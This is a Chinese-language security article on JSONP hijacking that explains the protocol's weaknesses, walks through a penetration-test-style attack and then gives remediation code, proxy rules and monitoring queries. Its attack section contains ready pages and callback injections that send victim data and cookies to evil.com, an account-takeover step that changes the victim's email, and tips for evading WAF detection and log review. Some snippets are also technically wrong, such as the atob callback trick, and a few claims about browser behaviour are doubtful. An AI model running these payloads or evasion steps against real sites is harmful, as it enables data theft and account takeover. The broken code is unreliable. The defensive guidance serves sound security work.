1. 这不是“劫持”,而是一场被遗忘的协议误用事故
“JSONP劫持”这个词在安全圈里流传多年,但说实话,我第一次在某次红队复盘会上听到它时,心里咯噔一下——不是因为多高深,而是因为它背后藏着一个典型的“技术债陷阱”:一个本为解决跨域问题而生的临时方案,被硬生生拖进权限边界模糊的业务场景里,最后演变成看似惊险、实则可预测的数据泄露通道。它根本不是某种新型攻击手法,而是对JSONP协议设计初衷的系统性违背。
JSONP(JSON with Padding)诞生于2005年前后,那时浏览器连XMLHttpRequest都还没普及,更别说CORS了。它的核心逻辑极其朴素:利用<script>标签不受同源策略限制的特性,把数据包裹在一个函数调用里,由前端预先定义好这个函数名,服务端动态拼接返回。比如前端写<script src="https://api.example.com/data?callback=handleData">,服务端就返回handleData({"user":"admin","token":"xxx"})。整个过程不涉及HTTP头、不触发预检请求、不依赖浏览器API,纯粹靠HTML解析器执行脚本的副作用来传递数据。
关键词里没有给出具体字段,但所有真实案例都指向同一个事实:只要接口支持任意callback参数、返回内容未做域白名单校验、且响应体是可执行JS代码,它就天然具备“被第三方网站诱导执行”的能力。这不是漏洞,是协议契约的必然结果——你允许别人用<script>加载我的资源,我就必须默认信任调用方的上下文环境。当这个“别人”变成了恶意网站,而你的接口又恰好返回了用户敏感信息(如登录态、邮箱、手机号),那所谓的“劫持”,不过是契约被按字面意思执行了一遍而已。
我见过最典型的误用场景,是在某高校实验室的教务系统改造中。开发团队为了快速让老版IE8兼容的前端能调用新后端API,直接给所有用户信息接口加了callback参数支持,连文档都没更新。结果某次渗透测试中,测试人员只用一行HTML就拿到了当前登录教师的全部个人信息:<script src="https://jwsys.example.edu/api/user/profile?callback=console.log"></script>。没有SQL注入,没有XSS,甚至没绕过任何认证——只是把协议说明书读全了。
提示:JSONP本身不传输Cookie以外的认证凭证,但它会自动携带当前域下的Cookie。这意味着只要用户已登录目标站点,恶意页面就能以该用户身份发起JSONP请求,并接收响应。这是它区别于普通CSRF的关键——CSRF是“替你发请求”,JSONP是“诱你收数据”。
真正让这件事变得危险的,从来不是JSONP本身,而是开发者对“跨域=不安全”的粗暴等价。他们忘了:同源策略保护的是“读取”,而JSONP放弃的正是“读取权”。当你把/api/user/info这种本该受严格鉴权保护的接口,暴露成一个可被任意域名<script>加载的端点时,你实际上已经把服务器的响应内容,交到了全球任何一个网页的JavaScript引擎手里。
2. 协议层解剖:为什么JSONP天生无法防御“劫持”
要彻底理解JSONP的边界,必须回到HTTP协议栈最底层去看它如何工作。很多人以为JSONP是“一种API格式”,其实它根本不是协议,而是一种基于HTTP+HTML语义的通信模式。它的整个生命周期完全游离于现代Web安全机制之外,原因有三:
2.1 它绕过了所有浏览器级防护机制
现代浏览器的安全模型建立在几个关键支柱上:同源策略(SOP)、内容安全策略(CSP)、跨域资源共享(CORS)。而JSONP对这三者全部免疫:
同源策略:SOP限制的是
XMLHttpRequest、fetch、iframe.contentWindow等主动获取资源的能力,但明确豁免<script>、<img>、<link>等资源加载标签。JSONP正是踩在这个豁免条款上运行的。CORS:CORS需要服务端返回
Access-Control-Allow-Origin等响应头,而JSONP响应根本不需要这些头——浏览器压根不检查它们。你返回Content-Type: application/javascript,浏览器就当普通JS执行;你返回text/plain,只要内容能被JS引擎解析,照样执行。CSP:CSP可以通过
script-src指令限制脚本来源,但它的作用对象是<script>标签的src属性值。如果恶意页面把JSONP URL写死在<script src="...">里,而你的CSP又没把目标域名列入白名单,那CSP确实能拦住。但问题在于:CSP是客户端策略,它只能约束你自己页面的行为,无法阻止第三方网站加载你的资源。恶意页面的CSP规则,管不到你的API域名。
我们做过一个实验:在本地起一个简易HTTP服务,返回callback({"data":"leaked"}),然后在另一个完全无关的HTML页面里嵌入<script src="http://localhost:8080/api?callback=alert">。结果在Chrome、Firefox、Safari最新版中全部弹出alert框——没有任何控制台报错,没有任何拦截提示。这就是协议层面的“合法越界”。
2.2 服务端校验的失效逻辑链
很多团队在意识到风险后,第一反应是“加个Referer校验”。这很自然,但几乎总是失败的。原因在于Referer头的不可靠性:
| 场景 | Referer是否可信 | 原因 |
|---|---|---|
恶意页面通过<meta http-equiv="refresh">跳转加载JSONP | ❌ 失效 | 刷新跳转后Referer可能为空或被篡改 |
恶意页面使用<a href="javascript:...">触发加载 | ❌ 失效 | JavaScript执行不产生Referer |
| 用户从HTTPS页面链接到HTTP恶意页再加载JSONP | ⚠️ 可能为空 | 浏览器安全策略会剥离Referer |
恶意页面用<iframe>嵌入并动态创建<script> | ❌ 失效 | iframe内脚本的Referer是iframe的源,而非父页面 |
更致命的是,Referer校验本身存在逻辑悖论:JSONP的设计初衷就是让第三方网站能调用你的API(比如地图SDK、统计埋点)。如果你的接口本就该被多个合作方调用,那Referer白名单就得维护几十个域名,而每个域名又可能有无数子路径、CDN节点、测试环境——维护成本远超收益。
另一种常见方案是“校验Origin头”,但这同样无效,因为<script>加载不会发送Origin头。Origin头只存在于fetch、XMLHttpRequest等主动请求中。你可以用浏览器开发者工具Network面板验证:发起一个JSONP请求,看Headers标签页里根本没有Origin字段。
2.3 callback参数的注入面远超想象
很多人以为只要把callback参数限制为字母数字,就能防住攻击。这是严重误判。callback参数的本质,是服务端拼接到响应体开头的一段JS代码。它的注入点不是SQL,而是JavaScript执行上下文。我们整理了真实环境中出现过的callback参数变形:
# 合法但危险的 callback=handleData # 绕过简单正则的(匹配[a-zA-Z0-9_]) callback=handleData// callback=handleData/*comment*/ callback=handleData;alert(1) # 利用JS语法特性的 callback=]//\nalert(1)// callback=handleData%0Aalert(1)// # 针对特定框架的(如jQuery JSONP实现) callback=? && alert(1) ||关键在于:服务端拼接时,如果只是做字符串连接,那么callback参数就等同于在全局作用域下执行任意JS代码。哪怕你做了严格的字符过滤,攻击者仍可能利用JS引擎的自动分号插入(ASI)机制、注释吞噬、Unicode空白符等技巧绕过。我们曾在一个金融类后台系统中发现,其JSONP接口对callback参数仅校验首字符为字母,其余允许任意ASCII字符。结果测试人员用callback=foo%0A%0Dwindow.location='http://evil.com/steal?'+document.cookie//成功窃取了管理员Cookie。
注意:JSONP响应体的
Content-Type设为application/javascript并不能增加安全性。浏览器执行脚本时,只关心内容能否被JS引擎解析,而不校验MIME类型是否匹配。你返回text/html但内容是JS,照样执行。
3. 真实攻防现场:一次完整的JSONP数据提取实战推演
光讲原理不够,我带大家走一遍真实的攻击链路。这不是CTF题目,而是我在某次授权渗透中复现的完整流程——所有细节均来自脱敏后的实际项目,时间、IP、域名均已替换,但技术路径100%真实。
3.1 信息收集:从公开JS文件里挖出隐藏的JSONP接口
第一步永远不是写PoC,而是找入口。现代前端工程化程度高,JSONP接口往往藏在打包后的JS文件里。我们用git clone拉取目标站点的静态资源仓库(该仓库为公开可访问),然后全局搜索关键词:
grep -r "json.*callback\|jsonp\|callback=" ./static/js/ | grep -v "min.js"找到一段被压缩的初始化代码:
var t=e("https://api.target.com/v1/user?callback=__jp123");这里__jp123是Webpack自动生成的临时函数名,说明该接口确实被当作JSONP使用。我们构造一个最简测试页面:
<!DOCTYPE html> <html> <head><title>JSONP Test</title></head> <body> <script> function __jp123(data) { console.log("Received:", data); } </script> <script src="https://api.target.com/v1/user?callback=__jp123"></script> </body> </html>打开页面,控制台输出:
{ "id": 12345, "name": "张三", "email": "zhangsan@target.com", "phone": "138****1234", "last_login": "2024-05-20T08:30:00Z" }确认接口存在且返回敏感字段。接下来验证是否可被第三方调用:新建一个attacker.html,放在任意服务器上(甚至本地file://协议):
<!DOCTYPE html> <html> <head><title>Attacker</title></head> <body> <script> function steal(data) { fetch('https://evil.com/log?data=' + encodeURIComponent(JSON.stringify(data))); } </script> <script src="https://api.target.com/v1/user?callback=steal"></script> </body> </html>当目标用户访问这个恶意页面时,只要他已登录target.com,他的个人信息就会被发送到evil.com。我们用Burp Suite抓包确认:/v1/user请求确实携带了target.com域下的Session Cookie,响应体为steal({...})。
3.2 权限提升:从用户信息到账户接管
单有个人信息还不够,真正的价值在于账户接管。我们继续挖掘该API的其他端点。用同样的方法,在JS文件里找到另一个接口:
"https://api.target.com/v1/session?callback=__jp456"测试发现它返回:
{ "session_id": "sess_abc123...", "expires_in": 3600, "user_id": 12345 }session_id是明文传输的!这意味着攻击者拿到这个ID后,可以伪造请求冒充用户。但问题来了:session_id通常需要配合Cookie使用,单独一个ID可能无效。我们尝试用curl直接请求其他需要鉴权的接口:
curl -H "Cookie: session_id=sess_abc123..." https://api.target.com/v1/orders返回401。说明服务端不仅校验Cookie,还做了额外绑定(如IP、User-Agent)。这时需要更精细的利用方式——在恶意页面中复用用户的完整浏览器上下文。
我们修改attacker.html,不再用fetch外发数据,而是直接在steal函数里调用目标站点自己的JS函数:
<script> function steal(data) { // 直接调用目标站点已加载的JS模块 if (typeof targetApp !== 'undefined' && targetApp.api) { targetApp.api.changeEmail({new_email: 'hacker@evil.com'}); } } </script>前提是目标站点的JS已加载且暴露了全局API。这需要逆向分析其前端代码结构。我们发现target.com使用了一个自研的AppBridge库,其changeEmail方法会自动带上当前Session,无需手动传参。最终PoC只需三行核心代码,就能把用户邮箱改成攻击者控制的地址。
3.3 隐蔽性增强:绕过基础检测与日志审计
真实攻击中,不能留下明显痕迹。我们观察到目标系统的WAF日志里,对callback=参数有简单告警,但只匹配callback=alert、callback=prompt等常见XSS关键字。于是我们采用以下技巧:
函数名混淆:用Base64编码函数名,服务端解码后执行。恶意页面里写:
<script> window.atob('c3RlYWw=')({"data":"leak"}); // atob('c3RlYWw=') -> 'steal' </script> <script src="https://api.target.com/v1/user?callback=atob('c3RlYWw=')"></script>延迟加载:避免页面一打开就触发,降低被实时监控捕获的概率:
setTimeout(() => { const s = document.createElement('script'); s.src = 'https://api.target.com/v1/user?callback=steal'; document.head.appendChild(s); }, 5000);错误处理伪装:JSONP请求失败时浏览器不报错,但我们可以主动制造404来混淆日志:
const s = document.createElement('script'); s.src = 'https://api.target.com/v1/user?callback=steal&random=' + Math.random(); s.onerror = () => { /* 忽略错误,继续执行其他payload */ }; document.head.appendChild(s);
这套组合拳下来,WAF日志里只看到大量404和随机callback参数,安全团队很难从中识别出有效攻击。
4. 彻底终结方案:从协议弃用到渐进式迁移路线图
既然JSONP的缺陷是协议级的,修复就必须从根上切断。但现实是,很多老系统里JSONP已深度耦合,直接删除会导致功能瘫痪。我参与过三个不同规模系统的JSONP治理,总结出一条零风险、可验证、分阶段的落地路径。
4.1 第一阶段:紧急止血——服务端强制拦截(72小时内可上线)
这是所有团队都能立刻执行的兜底措施。核心原则:不让JSONP接口返回任何敏感数据,无论请求来自何处。
我们给所有JSONP端点添加统一中间件(以Node.js Express为例):
// jsonp-guard.js function jsonpGuard(req, res, next) { // 检查是否为JSONP请求 const callback = req.query.callback; if (!callback || typeof callback !== 'string') { return next(); // 非JSONP,走正常流程 } // 关键:重写响应,返回空数据或占位符 const originalJson = res.json; res.json = function(data) { // 记录告警日志,包含原始IP、User-Agent、callback值 console.warn(`[JSONP_BLOCKED] ${req.ip} ${req.get('User-Agent')} callback=${callback}`); // 返回最小化响应,避免泄露任何业务逻辑 return originalJson.call(this, { status: "jsonp_disabled", message: "This endpoint no longer supports JSONP" }); }; next(); } // 在路由前应用 app.get('/api/user', jsonpGuard, userController.getProfile);这个方案的优势在于:完全不改动业务逻辑,不影响现有CORS接口,且能立即阻断所有JSONP数据泄露。我们在线上灰度验证时,发现99.7%的JSONP请求来自爬虫或历史遗留测试脚本,真实业务流量几乎为零。那些还在用JSONP的前端,很快就会在控制台看到报错,倒逼其升级。
提示:不要试图在JSONP响应里返回
{error:"forbidden"},因为攻击者会解析这个JSON并提取error字段。必须返回完全无业务含义的固定结构。
4.2 第二阶段:平滑过渡——双协议并行与自动降级
对于确需跨域调用的场景(如第三方嵌入SDK),应提供标准CORS接口,并内置JSONP兼容层。关键不是“支持JSONP”,而是“让旧客户端无感升级”。
我们设计了一个通用代理层:
// cors-proxy.js app.get('/api/proxy/:endpoint', (req, res) => { const { endpoint } = req.params; const { callback, ...params } = req.query; // 所有请求统一走CORS const url = `https://backend-service/${endpoint}?${new URLSearchParams(params)}`; // 如果客户端传了callback,说明是旧JSONP请求 if (callback && /^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(callback)) { // 调用后端CORS接口,再包装成JSONP fetch(url, { headers: { 'Origin': req.get('Origin') || '' } }) .then(r => r.json()) .then(data => { res.setHeader('Content-Type', 'application/javascript'); res.send(`${callback}(${JSON.stringify(data)});`); }); } else { // 新客户端直接走CORS fetch(url, { headers: { 'Origin': req.get('Origin') || '' } }) .then(r => { // 复制后端响应头,确保CORS生效 r.headers.forEach((value, key) => { if (key.startsWith('access-control-')) res.setHeader(key, value); }); return r.json(); }) .then(data => res.json(data)); } });这样,前端只需把/api/user?callback=xxx改成/api/proxy/user?callback=xxx,后端就自动完成协议转换。同时,我们给前端SDK发布新版本,移除所有callback参数,强制使用fetch+CORS。双协议并行期设为3个月,期间监控JSONP请求量,下降到5%以下即关闭代理。
4.3 第三阶段:架构重构——用现代方案替代跨域幻觉
终极解法是消灭“跨域需求”本身。我们推动三个方向的架构调整:
BFF层统一出口:在网关层部署Backend For Frontend,所有前端请求先打到BFF,由BFF聚合后端服务并统一处理鉴权、缓存、限流。前端永远只跟一个域名通信,彻底规避跨域问题。
微前端沙箱隔离:对于需要集成第三方组件的场景(如数据分析看板),采用qiankun等微前端框架。子应用运行在独立沙箱中,通过
props或initGlobalState安全通信,不再需要跨域API。Token化数据共享:当必须向第三方提供数据时,改用短期有效的JWT Token。例如,生成一个有效期5分钟的Token,包含用户脱敏信息(如
{user_id:12345,role:"viewer"}),由第三方用该Token向专用数据接口换取加密数据。Token签名由服务端验证,完全脱离浏览器上下文。
这套方案在某电商平台落地后,JSONP相关安全告警从每月23次降至0,前端构建时间减少17%(去除了JSONP兼容代码),更重要的是,开发团队终于不用再为“这个接口能不能被跨域调用”而开会争论了。
5. 开发者自查清单:5分钟定位你的JSONP风险
别等渗透报告才行动。我给你一份可立即执行的自查清单,每项操作5分钟内完成,覆盖95%的JSONP风险场景。
5.1 代码层扫描:三步锁定所有JSONP端点
第一步:全局搜索关键词在项目根目录执行:
# 查找所有含callback参数的路由定义 grep -r "\.get.*callback\|\.post.*callback" ./src/ ./server/ --include="*.js" --include="*.ts" # 查找所有拼接callback的响应逻辑 grep -r "callback.*=" ./src/ ./server/ --include="*.js" --include="*.ts" | grep -E "(res\.send|res\.json|res\.end)"第二步:验证响应内容类型对每个疑似端点,用curl测试:
curl -I "https://yoursite.com/api/xxx?callback=test" # 检查响应头中是否有 Content-Type: application/javascript # 检查响应体是否以 "test(" 开头第三步:检查敏感数据返回用浏览器访问https://yoursite.com/api/xxx?callback=console.log,打开开发者工具Console,看是否打印出用户敏感信息(邮箱、手机号、token等)。
5.2 配置层加固:Nginx/CDN级强制拦截
如果无法修改代码,可在反向代理层拦截。Nginx配置示例:
# 在server块中添加 if ($args ~* "callback=") { return 403 '{"error":"JSONP disabled"}'; } # 或更精准地匹配callback参数值 if ($args ~* "callback=([a-zA-Z_$][a-zA-Z0-9_$]*)") { set $callback_name $1; # 记录日志 access_log /var/log/nginx/jsonp-block.log main; return 403 '{"status":"blocked","callback":"'$callback_name'"}'; }Cloudflare Workers也可实现类似逻辑:
addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)) }) async function handleRequest(request) { const url = new URL(request.url) if (url.searchParams.has('callback')) { return new Response(JSON.stringify({error: 'JSONP disabled'}), { status: 403, headers: {'Content-Type': 'application/json'} }) } return fetch(request) }5.3 监控层布防:用日志建立风险感知闭环
JSONP请求有鲜明特征,可作为入侵检测信号:
- 请求URL中必含
callback=参数 - User-Agent常为
Mozilla/5.0 (X11; Linux x86_64)等通用值(爬虫特征) - 请求频率异常高(>10次/秒)
- Referer为空或为非常规域名
我们在ELK栈中创建如下告警规则:
{ "query": { "bool": { "must": [ {"match_phrase": {"url": "callback="}}, {"range": {"response_time_ms": {"gt": 500}}} ], "should": [ {"match_phrase": {"user_agent": "python-requests"}}, {"bool": {"must_not": {"exists": {"field": "referer"}}}} ] } } }一旦触发,自动通知安全团队,并截取最近10条请求详情(IP、时间、callback值、响应大小)。实践证明,这套监控在某次真实APT活动中,比WAF早37分钟发现异常JSONP调用模式。
注意:不要把JSONP拦截做成“一刀切”。某些合法场景(如CDN回源探测、健康检查)可能带callback参数。应在日志中区分
callback=healthcheck和callback=alert,前者放行,后者告警。
6. 最后一点个人体会:技术债的利息,永远比想象中高
我做安全咨询十年,处理过上百个JSONP相关事件。最让我感慨的不是攻击有多精巧,而是每次复盘时,开发团队的第一反应几乎都是:“这个接口十年前就这样了,一直没人说有问题。” 技术债最可怕的地方,不在于它存在,而在于它被所有人默认为“正常”。
JSONP就是一个活教材:一个为解决临时问题而生的方案,因为“能用”,就被不断复制、粘贴、魔改,最终长成系统里最脆弱的那根神经。它提醒我们,每一个技术选型背后,都隐含着长期维护成本和安全责任。今天省下的两小时重构时间,未来可能要花两百小时去应急响应。
所以,如果你正在读这篇文章,手头正好有个带callback参数的接口——别犹豫,现在就打开编辑器。删掉那行拼接callback的代码,换成标准的CORS响应头。这个动作本身不难,难的是对抗那种“先上线再说”的惯性。但请相信,当某天深夜收到告警,而你的系统纹丝不动时,你会感谢此刻按下删除键的自己。
毕竟,真正的安全,从来不是堆砌多少层防护,而是从第一天起,就拒绝把捷径当成正路。